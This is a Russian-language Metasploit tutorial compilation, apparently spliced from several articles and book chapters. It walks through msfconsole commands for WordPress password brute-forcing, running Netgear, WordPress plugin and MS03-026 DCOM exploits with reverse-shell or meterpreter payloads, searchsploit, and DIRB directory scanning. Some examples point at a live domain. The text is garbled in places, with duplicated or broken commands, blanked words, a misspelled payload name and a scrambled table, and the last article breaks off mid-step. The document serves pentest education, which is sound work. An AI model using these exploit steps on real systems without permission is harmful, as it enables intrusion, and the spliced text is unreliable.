Использование metasploit. Metasploit инструкция по применению

Metasploit - это мощный открытый фреймворк с продуманной архитектурой, сотнями контрибьюторов, который включает в себя тысячи модулей для автоматизации эксплуатации огромного количества уязвимостей. Несмотря на то что мы часто упоминаем Metasploit на , многие только знакомятся с ним. Мы решили помочь начинающим пентестерам и запускаем новый цикл статей, который познакомит тебя с основными возможностями этого замечательного инструмента.

ПРЕДЫСТОРИЯ

История Metasploit берет начало в 2003 году. HD Moore, работавший пентестером в небольшой консалтинговой компании, заметил, что хранение и использование средств анализа безопасности организованы неудобно. На тот момент это был просто набор разрозненных эксплойтов и скриптов, общие сведения о которых хранились в базе данных. Информация о необходимом окружении для запуска скриптов, как правило, отсутствовала. Также они несли в себе кучу устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая, что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.

В Metasploit автор, пытаясь решить эту проблему, создал консольную утилиту на Perl с псевдографическим интерфейсом и включил в нее порядка одиннадцати эксплойтов. Сообщество встретило первую версию Metasploit весьма холодно, изрядно раскритиковав как архитектуру, так и саму идею. Тем не менее HD Moore не сдался и даже нашел сподвижника в лице spoonm, с которым они довели до ума модульную архитектуру фреймворка и выпустили вторую версию в 2004 году. Со временем фреймворк стал набирать популярность и обретать новых контрибьюторов.

Следующим значимым шагом был перевод Metasploit c Perl на Ruby, для того чтобы избежать ограничений Perl, обеспечить кросс-платформенность и добиться большей гибкости при разработке. В 2009 году фреймворк приобрела компания Rapid7, под эгидой которой продолжилось развитие open source версии, а также стали появляться коммерческие версии продукта. Сам фреймворк давно перерос статус простого набора для пентестера, и сегодня можно его можно встретить (хотя и нечасто) даже в арсенале «мирных» системных администраторов и программистов.

ВЕРСИИ

На момент написания статьи Metasploit распространяется в четырех версиях:
Framework - базовая версия с консольным интерфейсом;
Community - бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
Express - для коммерческих пользователей, включает функционал, позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
Pro - самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.
Помимо веб-интерфейса, доступного в версиях Community, Express и Pro, существуют такие проекты, как Armitage и Cobalt strike , предоставляющие GUI-интерфейс для фреймворка.

База данных

Еще один момент, который стоит учесть, - это использование фреймворком базы данных для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе - *необязательное условие* для функционирования фреймворка, но тем не менее многие предпочтут воспользоваться этим функционалом для удобства и повышения производительности.

Metasploit использует PostgreSQL, поэтому тебе понадобится установить ее на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка. Запустить их можно соответствующими командами (команды приводятся для Kali Linux, могут отличаться в твоем дистрибутиве):

service postgresql start service metasploit start

service postgresql start

service metasploit start

Далее проверим, что фреймворк успешно установил подключение. Откроем консоль Metasploit командой msfconsole, а затем выполним db_status, в ответ на которую система должна вернуть, что соединение с базой установлено.

СТРУКТУРА ФРЕЙМВОРКА

«Сердце» Metasploit - библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core, которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а такжемодулей.
На модулях стоит остановиться подробнее. Они делятся на несколько типов, в зависимости от предоставляемой функциональности:
Exploit - код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение буфера);
Payload - код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее);
Post - код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы);
Encoder - инструменты для обфускации модулей с целью маскировки от антивирусов;
NOP - генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер;
Auxiliary - модули для сканирования сети, анализа трафика и так далее.


КОМАНДЫ MSFCONSOLE

Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole. Рассмотрим основные команды:
use - выбрать определенный модуль для работы с ним;
back - операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
show - вывести список модулей определенного типа;
set- установить значение определенному объекту;
run - запустить вспомогательный модуль после того, как были установлены необходимые опции;
info - вывести информацию о модуле;
search - найти определенный модуль;
check - проверить, подвержена ли целевая система уязвимости;
sessions - вывести список доступных сессий.

ПЕНТЕСТ WORDPRESS

Предлагаю, вооружившись полученными знаниями, в качестве «Hello world» провести простейший пентест сайта на WordPress.

Тестовое окружение

Для начала необходимо поднять тестовое окружение. Для этого я буду пользоваться связкой VirtualBox + Vagrant и проектом VCCW, который позволит развернуть готовую виртуалку с WordPress на борту буквально парой команд в консоли. Подробные инструкции ты сможешь найти на сайте проекта, здесь я покажу основные шаги.
Добавляем базовый образ:

vagrant box add miya0001/vccw

После этого у тебя должна подняться машина с развернутым WordPress, доступная по адресу 192.168.33.10. Стоит отметить, что это уже готовый сетап, где настроена база и заведена админская учетка. Логин и пароль от нее указаны на сайте, но мы их узнаем другим путем.
Пентест
Откроем консоль Metasploit:

Среди появившегося многообразия нас интересует модуль auxiliary/scanner/http/wordpress_login_enum , который отвечает за брутфорс аутентификации WordPress.


Выберем его для работы:

use auxiliary/scanner/http/wordpress_login_enum

Для брутфорса будет использоваться перебор по словарю. В данном случае известно, что пароль несложный, поэтому подойдет практически любой список ненадежных паролей, которых достаточно в сети. Укажем путь к нему:

set PASS_FILE /root/10k-common-passwords.txt

set PASS_FILE / root / 10k - common - passwords . txt

Процесс перебора пароля по словарю в Metasploit

Что такое метасплойт?

Метасплойт (а правильно говорить о метасплойте как о проекте) – это именно проект в области компьютерной безопасности, направленный на информирование пользователей (в первую очередь владельцев, разработчиков и администраторов) сетей и ресурсов о возможных уязвимостях в системе безопасности и помогающий в тестировании систем и сетей с целью закрытия в дальнейшем дыр в их безопасности и защиты от . Для разработки метасплойтов существует специальная среда под названием Metasploit Framework . Последняя вылилась в своеобразный подпроект, представляющий собой программную среду или платформу для разработки и использования эксплойтов на удалённой машине. Вопрос использования платформы и применения проекта в целом достаточно скользкий, так как среда, призванная к проведению исследовательской деятельности системных администраторов сети в области защищённости сетей с успехом используется хакерами для разработки и внедрения новейших эксплойтов для получения неавторизованного доступа к ресурсам.

Metasploit Framework с момента изобретения в 2003 претерпела некоторые изменения, и до нас дошла со свободно распространяемой лицензией в бесплатном и коммерческом вариантах. В оба варианта включено множество готовых эксплойтов, которые помогут справиться с обнаружением известных уязвимостей. Отлично запускается на Unix и Windows системах, имеет несколько интерфейсов на выбор пользователя, в том числе в виде окна браузера.

Как пользоваться Metasploit Framework, или что умеет метасплойт? Основные шаги в использовании среды.

Перед работой в среде, конечно, необходимо собрать максимум информации о компьютере, так что необходимо пользоваться полным набором сетевых и , так что над выбором эксплойта и пэйлоуда придётся потрудиться.

Где скачать Metasploit Framework?

Да вот здесь:

https://www.metasploit.com/download/

Но не торопитесь. Также платформа входит в состав некоторых свободно распространяемых сборок систем на бесплатной и свободной лицензии. С такой мы и будем знакомиться на странице блога в разделе Линукс. В состав принимающей участие во множестве экспериментов эта среда входит совершенно бесплатно.

Знакомство с понятием ШЕЛЛ.

В зависимости от типа эксплойта, после того как экплойт претвориться в жизнь, мы будем иметь дело либо с удалённым шеллом (Remote shell ) и метр-шеллом (Meterpreter shell ).

Удалённый шелл – компьютерная программа из командной строки (терминала), которая может исполнять команды на удалённом компьютере, словно бы вы находились за его клавиатурой. Это своеобразный удалённый Рабочий стол (так он называется в Windows). Стандартный шелл применяется в случаях, если хакер собирается исполнять на компьютере жертвы стандартные команды. Однако если речь идёт о комплексных манипуляциях в текущей сессии и исполнении команд с дополнительными флагами, будет использован шелл Метерпретер.

С метр-шеллом немного интереснее. Meterpreter shell предлагает уже целую кучу готовых программных решений. В их числе утилиты и скрипты для сбора информации по удалённому компьютеру, инструменты контроля над устройствами типа микрофон или вебкамера и т.п. И с развитием техник взлома интерес к готовым решениям, которые только разрастаются и совершенствуются, всё больше. А теперь об описанных выше шагах чуть подробнее.

Поиск и конфигурация эксплойта

Подразумеваю, что вы уже в Кали. Запускаем Метасплойт и даём команду на отображение известных эксплойтов. Это команда

Терминал вернёт информацию по эксплойтам в алфавитном порядке. Это не всегда удобно, потому поиск можно уточнить флагами на поиск по:

  • словарю Общих уязвимостей и незакрытых дыр в безопасности (CVE ID ). Можно сразу указать желаемый год:
search cve:2017

  • бюллетеню безопасности Майкрософт
search MS
  • прямо по желаемой программе или производителю ПО или устройства
search Netgear

  • и, выцепив интересненькое, получить по этому поводу всю об уязвимости информацию, добавив перед уязвимостью info (ссылки на ещё более подробную инфу по этому вопросу будут в том же терминале). Взгляните:

Там всё есть и ждёт вашего анализа и применения. Но перед тем, как перейти в конфигурации эксплойта, возьмём уязвимость в оборот командой use

Или, вернувшись к одному из предыдущих окон, обнаружить к оборудованию подходящий эксплойт и также его применить:

и сразу проверим, как его применять и к чему привязать, используя знакомый нам флаг info в контексте эксплойта:


Конфигурация эксплойта: установка опций

Направить метасплойт в нужное русло нам поможет команда set . Команда в msf примет вид

Set имя_переменной её_значение

Но чтобы узнать, какие переменные для эксплойта существуют, можно использовать команду show options

Раздел Module options , знакомый нам по окну команды с флагом info , показывает, какую конфигурацию можно применить в плане выбора цели. Так, модуль сразу указывает на то, что эсплойт применяется против уязвимости с применением этих ОБЯЗАТЕЛЬНЫХ опций (готовые к работе выделены флагом yes , те, что на no вами ещё не настроены). То есть для осуществления эксплойта пентестер указал:

  • адрес удалённой системы (RHOST )
  • удалённый порт 8080 (RPORT )
  • в качестве индетификатора цели (TARGETURI ) – путь к приложению в системе или путь к оборудованию жертвы (например, если атакуется роутер, здесь указывается полный путь в виде адреса к уязвимому файлу)

Завершим картинку в общих чертах. Запуск эксплойта в нашем случае примет примерно такой вид:

Exploit(netgear_nms_rce) use msf exploit(netgear_nms_rce) set RHOST 10.10.10.10 set RPORT 8080 set TARGETURI exploit -j

На ус команды, описанные выше, мотать не нужно. Более подробнее информация будет дана позже.

Выбор и формирование пэйлоуда

Зачем нам доступ к чужому компьютеру, если мы ничего там не натворим? И для этой цели понадобится пэйлоуд. Применимо к теме метасплойта, пэйлоуд – именно та часть зловредного программного обеспечения, направленного на изменение функционала системы. В то время, как другая часть программы-вредоноса может быть направлена на дополнительные функции (например, копирование и тиражирование самого себя; речь идёт о компьютерном вирусе). Как понимаете, пэйлуд можно вычленять в отдельный код и использовать в разных вариантах.

Работая в среде Metasploit, можно посмотреть на готовые варианты пэйлоудов применимо к выбранным эксплойтам. Это делается командой

Show payloads

в выбранном вами варианте эксплойта. Ещё вариант – в выбранном эксплойте пишем

Set payload

и закрепляем, дважды нажав по клавише Tаb . Metasploit спросит, не хотите ли вы посмотреть всех… Пэйлоудов. И обычно терминал Metasploit-а выводит информацию по пэйлоудам в формате Operating System/Shell Type Операционная система/Тип шелла . Например

Set payload/windows/shell_reverse_tcp

Остаётся выбрать нужную ОСь и понравившийся тип пэйлоуда. Самые популярные типы пэйлоудов это и есть шеллы, о которых мы говорили выше (удалённый шел и метерпретер шел или метер -шелл).

Выбор пэйлоудов из кэша среды очень широк. Так же как и выбор средств, с помощью которых система жертвы будет “сливать” хакеру нужную информацию. Типичные шеллы с основой reverse_tcp из команды выше для того и существуют: исполняясь на удалённой системе, они сообщают злоумышленнику данные, часто не вызывая подозрений у системного фаервола.

Пока всё. Успехов

Глава 42. Как запустить Metasploit Framework в Kali Linux 1.1
Metasploit Exploitation Framework - это инструмент для тестирования на проникновение. Он содержит большую базу эксплойтов , позволяет использовать их прямо из Metasploit. Существует две версии Metasploit, в этом уроке я рассматриваю бесплатную версию.
searchsploit - это инструмент для поиска эксплойтов. Содержит базу, по моим наблюдениям, более обширную, чем Metasploit. Но не содержит функции использования эксплойтов.
На всякий случай, разберёмся с терминологией. Эксплойт - это готовая программа,
которая, используя конкретную уязвимость, автоматизирует процесс проникновения
или повышения прав или другое несанкционированное действие, которое является
следствием уязвимости.
Обе программы не сложны, но нужно знать, что и как там делать. Обе эти программы включены в Kali Linux «из коробки». Поэтому, возможно, вас также заинтересуют статьи:

Как запустить Metasploit Framework в Kali Linux

Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину
Я буду рассматривать работу с этими программами в Kali Linux , но на самом деле, эти утилиты можно установить на любой Linux.
searchsploit
Это программа только для поиска известных эксплойтов. Чтобы вывести справку по ней , наберите в командной строке:
1| searchsploit -h


257

Всё просто как 5 копеек:
Ключ -c для выполнения чувствительного к регистру поиска.
Ключ -v для подробного вывода, линии с описанием могут переполнять их колонки.
На мой взгляд, обе опции не несут ничего интересного. Для поиска просто набираете searchsploit и ключевые слова (можно несколько), разделённые пробелом:
1| searchsploit phpmyadmin

По материалам сайта WebWare.biz
258
Тестирование на проникновение с помощью Kali Linux 2.0
1| searchsploit wordpress
Думаю, идея понятна. Можете искать по конкретным приложениям (и их версиям), операционным системам, плагинам и т. д.
Давайте посмотрим внимательно на вывод: есть файлы следующих типов: .c, .pl, .txt,
.sh, .php, .rb, .py, .zip, .java, .asm, .htm и др.
Файлы с расширением .txt можно только читать - открывайте его любым блокнотом и читай об уязвимости. Содержимое этих файлов, обычно, следующее: описание

По материалам сайта WebWare.biz
259
Тестирование на проникновение с помощью Kali Linux 2.0
уязвимости, пример использования, источник, информация о подверженных уязвимости версиях и т. д.
Файлы с расширением .rb написаны на языке Ruby, запускать их нужно так: ruby + пробел + расположение файла.
Пример:
1| ruby /usr/share/exploitdb/platforms/php/webapps/28126.rb

По материалам сайта WebWare.biz
260
Тестирование на проникновение с помощью Kali Linux 2.0
Некоторые файлы.rb выдернуты из Metasploit. Если при обычном запуске программа жалуется на отсутствие чего-то, а в коде программы встречается строка:
1| require "msf/core"
То самый простой способ запуска - найти этот же плагин в Metasploit и запустить его оттуда
Файлы .c нужно компилировать.
Файлы .php запускать из командной строки. При чём если Ruby может выводить диалоговые окна для ввода данных, то в PHP нужно сразу задавать необходимые аргументы в командной строке через пробелы после имени файла (ну или прописывать в коде скрипта, если это предусмотрено).
Например:
1| php /usr/share/exploitdb/platforms/php/webapps/35413.php webware.biz Alexey 50
Файлы .pl написаны на языке Perl, перед именем файла, для запуска, нужно ставить perl. Аргументы передаются в командной строке (или вписываются в исходный код) как и с PHP.
Думаю, с поиском всё предельно просто. С конкретным применением - зависит от конкретного эксплойта. Переходим к Metasploit.
Metasploit
Программа Metasploit расположена в меню в двух местах. Самый быстрый способ - это найти её среди 10 самых популярных приложений. Там она называется Metasploit
Framework. Запуск каждый раз занимает какое-то время , поэтому просто ждём:

По материалам сайта WebWare.biz
261
Тестирование на проникновение с помощью Kali Linux 2.0
Если программа пишет вам что-то про базу данных и про медленный поиск, то воспользуйтесь этой инструкцией. А также можете вручную пересобрать кэш:
1| msf > db_rebuild_cache
Для поиска наберите search + пробел + ключевые слова. Например:
1| msf > search wordpress

По материалам сайта WebWare.biz
262
Тестирование на проникновение с помощью Kali Linux 2.0
Расширьте окно терминала, как это сделал я, иначе ничего непонятно.
В выводе должно быть всё понятно: первый столбец - расположение эксплойта, второй - дата, третий - ранг (насколько хороший среднестатистический результат), четвёртый - краткое описание.
Думаю, хакеры не любят WordPress за его автообновления, т. к. все известные уязвимости протухают в первый же день.
Я выбрал, например, этот:
1| exploit/unix/webapp/wp_downloadmanager_upload 2014-12-03 excellent WordPress
Download Manager (download-manager) Unauthenticated File Upload
Нужно скопировать его расположение - exploit/unix/webapp/wp_downloadmanager_upload
И теперь набираем команду use и после пробела расположение эксплойта:
1| msf > use exploit/unix/webapp/wp_downloadmanager_upload
Обратите внимание, что строка приветствия сменилась на:
Теперь набираем:
1| show options
(работает для всех эксплойтов - отображает варианты настойки).

По материалам сайта WebWare.biz
263
Тестирование на проникновение с помощью Kali Linux 2.0
Как минимум, нам нужно задать удалённый хост. Все настройки делаются через команду set
Например:
1| set RHOST webware.biz
В данном эксплойте можно больше ничего не менять. Но обратите внимание на
TARGETURI . В отдельных эксплоитах, например, для phpMyAdmin, этот параметр изначально задан как phpmyadmin и если целевой скрипт находится в другом каталоге, то эксплойт просто не найдёт адрес.
Для начала выполнения эксплойта наберите:
1| exploit
Думаю, общие принципы работы понятны.

По материалам сайта WebWare.biz
264
Тестирование на проникновение с помощью Kali Linux 2.0
Порекомендую ещё одну команду, чтобы было понятно, в какую сторону нужно копать , для чего искать эксплойты, какие порты открыты и для каких служб и т. д. Это команда
nmap . Применять так:
1| msf > nmap 10.0.2.2 1| msf > nmap webware.biz

По материалам сайта WebWare.biz
265
Тестирование на проникновение с помощью Kali Linux 2.0
Ну и, конечно, для того чтобы знать, какие эксплойты использовать, нужно знать работающие на целевой машине программы и их версии. Определённую помощь в этом может оказать вам статья "Обзор разделов инструментов Kali Linux 1.0.9a. Часть 2.
Инструменты для сбора информации".
Заключительные слова
Скажу честно, базы эксплойтов меня разочаровали: я слежу за обновлениями самых популярных веб-приложений (phpMyAdmin, WordPress, Drupal и т. д.) и за последние месяцы в списках изменений мелькало достаточно много закрытых уязвимостей. Под большинство из них я не нашёл эксплойтов. Возможно, это касается только эксплойтов для веб-приложений. Вполне возможно, что для операционных систем и программ всё намного интереснее. Отсутствие в паблике эксплойтов на свежие версии популярных веб-приложений я связываю с тем, что: а) не так уж и просто потенциальную уязвимость раскрутить, хотя бы, до работающего концепта; б) самые интересные эксплойты собраны в закрытых базах, возможно, доступных за плату или только для определённого круга лиц.
Глава 43. DIRB: поиск скрытых каталогов и файлов на веб-сайтах
Статья написана по материалам Энциклопедии Kali.Tools
Никогда не бывает лишним просканировать веб-сайт на наличие скрытых каталогов и файлов (скрытых - имеются ввиду каталоги и файлы, на которые не ведут ссылки, и о которых знает только веб-мастер). Как минимум, можно узнать что-то новое о сайте, а бывает просто выпадает супер-приз - архив сайта или базы данных, бэкап чувствительных файлов и т.д.
DIRB - это сканер веб-контента. Он ищет существующие (возможно, скрытые) веб- объекты. В основе его работы лежит поиск по словарю, он формирует запросы к веб- серверу и анализирует ответ.
DIRB поставляется с набором настроенных на атаку словарей для простого использования, но вы можете использовать и ваш собственный список слов. Также иногда DIRB можно использовать как классический CGI сканер, но помните, что в первую очередь это сканер содержимого , а не сканер уязвимостей.
Главная цель DIRB - это помочь профессионалам в аудите веб-приложений. Особенно в тестах ориентированных на безопасность. Она покрывает некоторые дыры, не охваченные классическими сканерами веб-уязвимостей. DIRB ищет специфические веб- объекты, которые другие сканеры CGI не ищут. Она не ищет уязвимости и не ищет веб- содержимое, которое может быть уязвимым.
Может быть, эта программа станет последней попыткой для невезучих аналитиков по безопасности…
Использование DIRB
1|
dirb [опции]

По материалам сайта WebWare.biz
266
Тестирование на проникновение с помощью Kali Linux 2.0
Примечания
: Основной URL для сканирования. (Используйте -resume для возобновления сессии)
: Список словарей. (словарь1,словарь2,словарь3…)
Горячие клавиши DIRB
"n" -> Перейти к следующей директории.
"q" -> Остановить сканирование. (Сохронить состояние для возобновления)
"r" -> Remaining scan stats.
Опции DIRB
-a: Задайте ваш пользовательский USER_AGENT.
-c: Установите куки для HTTP запроса.
-f: Забавный тюнинг при выявлении NOT_FOUND (404).
-H: Задайте пользовательский заголовок HTTP запроса.
-i: Использовать поиск без учёта регистра.
-l: Печатать заголовок "Location" когда найден.
-N: Игнорировать ответы с этим HTTP кодом.
-o: Сохранить вывод на диск.
-p: Использовать прокси. (Порт по умолчанию 1080)
-P
: Аутентификация на прокси.
-r: Не искать рекурсивно.
-R: Интерактивная рекурсия. (Спрашивать для каждой директории)
-S: Молчаливый режим. Не показывать тестируемые слова. (Для простых терминалов)
-t: Не принуждать к конечному слешу "/" в URL.
-u: HTTP аутентификация.
-v: Показывать также страницы NOT_FOUND.
-w: Не показывать сообщений WARNING.
-X / -x: Применить эти расширения к каждому слову.
-z: Добавить миллисекунды,для задержки, чтобы не стать причиной экстенсивного флуда.
Примеры DIRB
dirb http://url/directory/ (Простой тест) dirb http://url/ -X .html (Тестировать файлы с расширением ".html") dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Тестировать списком слов apache.txt) dirb https://secure_url/ (Простой тест с SSL)

По материалам сайта WebWare.biz
267
Тестирование на проникновение с помощью Kali Linux 2.0
Дерево словарей DIRB
1| [email protected]:# tree /usr/share/wordlists/dirb*
2|
/usr/share/wordlists/dirb
3|
├── big.txt
4|
├── catala.txt
5|
├── common.txt
6|
├── euskera.txt
7|
├── extensions_common.txt
8|
├── indexes.txt
9|
├── mutations_common.txt
10|
├── others
11|
│ ├── best1050.txt
12|
│ ├── best110.txt
13|
│ ├── best15.txt
14|
│ └── names.txt
15|
├── small.txt
16|
├── spanish.txt
17|
├── stress
18|
│ ├── alphanum_case_extra.txt
19|
│ ├── alphanum_case.txt
20|
│ ├── char.txt
21|
│ ├── doble_uri_hex.txt
22|
│ ├── test_ext.txt
23|
│ ├── unicode.txt
24|
│ └── uri_hex.txt
25|
└── vulns
26|
├── apache.txt
27|
├── axis.txt
28|
├── cgis.txt
29|
├── coldfusion.txt
30|
├── domino.txt
31|
├── fatwire_pagenames.txt
32|
├── fatwire.txt
33|
├── frontpage.txt
34|
├── hpsmh.txt

По материалам сайта WebWare.biz
268
Тестирование на проникновение с помощью Kali Linux 2.0
35|
├── hyperion.txt
36|
├── iis.txt
37|
├── iplanet.txt
38|
├── jboss.txt
39|
├── jersey.txt
40|
├── jrun.txt
41|
├── netware.txt
42|
├── oracle.txt
43|
├── ror.txt
44|
├── sap.txt
45|
├── sharepoint.txt
46|
├── sunas.txt
47|
├── tests.txt
48|
├── tomcat.txt
49|
├── vignette.txt
50|
├── weblogic.txt
51|
└── websphere.txt
52|
/usr/share/wordlists/dirbuster
53|
├── apache-user-enum-1.0.txt
54|
├── apache-user-enum-2.0.txt
55|
├── directories.jbrofuzz
56|
├── directory-list-1.0.txt
57|
├── directory-list-2.3-medium.txt
58|
├── directory-list-2.3-small.txt
59|
├── directory-list-lowercase-2.3-medium.txt
60|
└── directory-list-lowercase-2.3-small.txt
61|
62|
3 directories, 54 files
Описание словарей DIRB
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
big.txt
/usr/share/wordlists/dirb/big.txt
20469 catala.txt
/usr/share/wordlists/dirb/catala.txt
161 common.txt
/usr/share/wordlists/dirb/common.txt
4614

По материалам сайта WebWare.biz
269
Тестирование на проникновение с помощью Kali Linux 2.0
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
euskera.txt
/usr/share/wordlists/dirb/euskera.txt
197 extensions_common.t xt
/usr/share/wordlists/dirb/extensions_common.txt
29
Расширения файлов indexes.txt
/usr/share/wordlists/dirb/indexes.txt
10 mutations_common.t xt
/usr/share/wordlists/dirb/mutations_common.txt
49 best1050.txt
/usr/share/wordlists/dirb/others/best1050.txt
1049
Лучшая выборка из
1050 пунктов best110.txt
/usr/share/wordlists/dirb/others/best110.txt
110
Лучшая выборка из
110 пунктов best15.txt
/usr/share/wordlists/dirb/others/best15.txt
15
Лучшая выборка из
15 пунктов names.txt
/usr/share/wordlists/dirb/others/names.txt
8607 small.txt
/usr/share/wordlists/dirb/small.txt
959 spanish.txt
/usr/share/wordlists/dirb/spanish.txt
449
Испанские слова в каталогах alphanum_case_extra.
txt
/usr/share/wordlists/dirb/stress/alphanum_case_ex tra.txt
95 alphanum_case.txt /usr/share/wordlists/dirb/stress/alphanum_case.txt
62 char.txt
/usr/share/wordlists/dirb/stress/char.txt
26 doble_uri_hex.txt
/usr/share/wordlists/dirb/stress/doble_uri_hex.txt
256 test_ext.txt
/usr/share/wordlists/dirb/stress/test_ext.txt
17576 unicode.txt
/usr/share/wordlists/dirb/stress/unicode.txt
65536 uri_hex.txt
/usr/share/wordlists/dirb/stress/uri_hex.txt
256 apache.txt
/usr/share/wordlists/dirb/vulns/apache.txt
30
Apache axis.txt
/usr/share/wordlists/dirb/vulns/axis.txt
17 cgis.txt
/usr/share/wordlists/dirb/vulns/cgis.txt
3494 coldfusion.txt
/usr/share/wordlists/dirb/vulns/coldfusion.txt
21 domino.txt
/usr/share/wordlists/dirb/vulns/domino.txt
291 fatwire_pagenames.tx t
/usr/share/wordlists/dirb/vulns/fatwire_pagenames
.txt
2711 fatwire.txt
/usr/share/wordlists/dirb/vulns/fatwire.txt
101

По материалам сайта WebWare.biz
270
Тестирование на проникновение с помощью Kali Linux 2.0
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
frontpage.txt
/usr/share/wordlists/dirb/vulns/frontpage.txt
43 hpsmh.txt
/usr/share/wordlists/dirb/vulns/hpsmh.txt
238 hyperion.txt
/usr/share/wordlists/dirb/vulns/hyperion.txt
579 iis.txt
/usr/share/wordlists/dirb/vulns/iis.txt
59
IIS iplanet.txt
/usr/share/wordlists/dirb/vulns/iplanet.txt
36 jboss.txt
/usr/share/wordlists/dirb/vulns/jboss.txt
19 jersey.txt
/usr/share/wordlists/dirb/vulns/jersey.txt
129 jrun.txt
/usr/share/wordlists/dirb/vulns/jrun.txt
13 netware.txt
/usr/share/wordlists/dirb/vulns/netware.txt
60 oracle.txt
/usr/share/wordlists/dirb/vulns/oracle.txt
1075
Oracle ror.txt
/usr/share/wordlists/dirb/vulns/ror.txt
121 sap.txt
/usr/share/wordlists/dirb/vulns/sap.txt
1111 sharepoint.txt
/usr/share/wordlists/dirb/vulns/sharepoint.txt
1708 sunas.txt
/usr/share/wordlists/dirb/vulns/sunas.txt
52 tests.txt
/usr/share/wordlists/dirb/vulns/tests.txt
34 tomcat.txt
/usr/share/wordlists/dirb/vulns/tomcat.txt
87
Tomcat vignette.txt
/usr/share/wordlists/dirb/vulns/vignette.txt
74 weblogic.txt
/usr/share/wordlists/dirb/vulns/weblogic.txt
361 websphere.txt
/usr/share/wordlists/dirb/vulns/websphere.txt
560 apache-user-enum-
1.0.txt

1.0.txt
8930
Перечислени е пользовател ей
Apache
1.0 apache-user-enum-
2.0.txt
/usr/share/wordlists/dirbuster/apache-user-enum-
2.0.txt
10355
Перечислени е пользовател ей
Apache
2.0 directories.jbrofuzz /usr/share/wordlists/dirbuster/directories.jbrofuzz
58688 directory-list-1.0.txt /usr/share/wordlists/dirbuster/directory-list-1.0.txt 141708
Список директорий directory-list-2.3- medium.txt
/usr/share/wordlists/dirbuster/directory-list-2.3- medium.txt
220560
Список директорий среднего размера

По материалам сайта WebWare.biz
271
Тестирование на проникновение с помощью Kali Linux 2.0
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
directory-list-2.3- small.txt
/usr/share/wordlists/dirbuster/directory-list-2.3- small.txt
87664
Список директорий малого размера directory-list- lowercase-2.3- medium.txt
/usr/share/wordlists/dirbuster/directory-list- lowercase-2.3-medium.txt
207643
Список директорий среднего размера, имена приведены к нижнему регистру directory-list- lowercase-2.3- small.txt
/usr/share/wordlists/dirbuster/directory-list- lowercase-2.3-small.txt
81643
Список директорий малого размера , имена приведены к нижнему регистру

Оригинал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публикации: июль 2011 г.
Перевод: В. Семененко
Дата перевода: июль 2011 г.

Введение

Наверняка, когда я произношу - "Инструмент для пентестинга" ("Penetration Testing tool"), первое, что приходит вам в голову при упоминании этих словосочетаний - имя . И не мудрено! Этот проект является одним из крупнейших в мире, написанных на языке Ruby . Суммарное колличество его строк превышает 700 000! На сегодня является стандартом де-факто для пентестинга и поиска уязвимостей. Колличество ежегодных скачиваний экземпляров программы зашкаливает за один миллион. Проект также обладает самой большой в мире общедоступной базой данных для проверенных и качественных эксплоитов .

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc . Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole , как показано на скриншоте Figure3 .

Шаг 4 :

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom . Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5 :

В общем случае запуск команды use запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Как видно на скриншоте Figure4 , после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) > . Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6 :

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135 . Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST .

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129 ., как на скриншоте .

Шаг 7 :

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload"ов можно увидеть с помощью команды show payloads .

Как видно на скриншоте , команда show payloads покажет нам все payload"ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter , задав его командой set PAYLOAD windows/meterpreter/reserve_tcp , что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

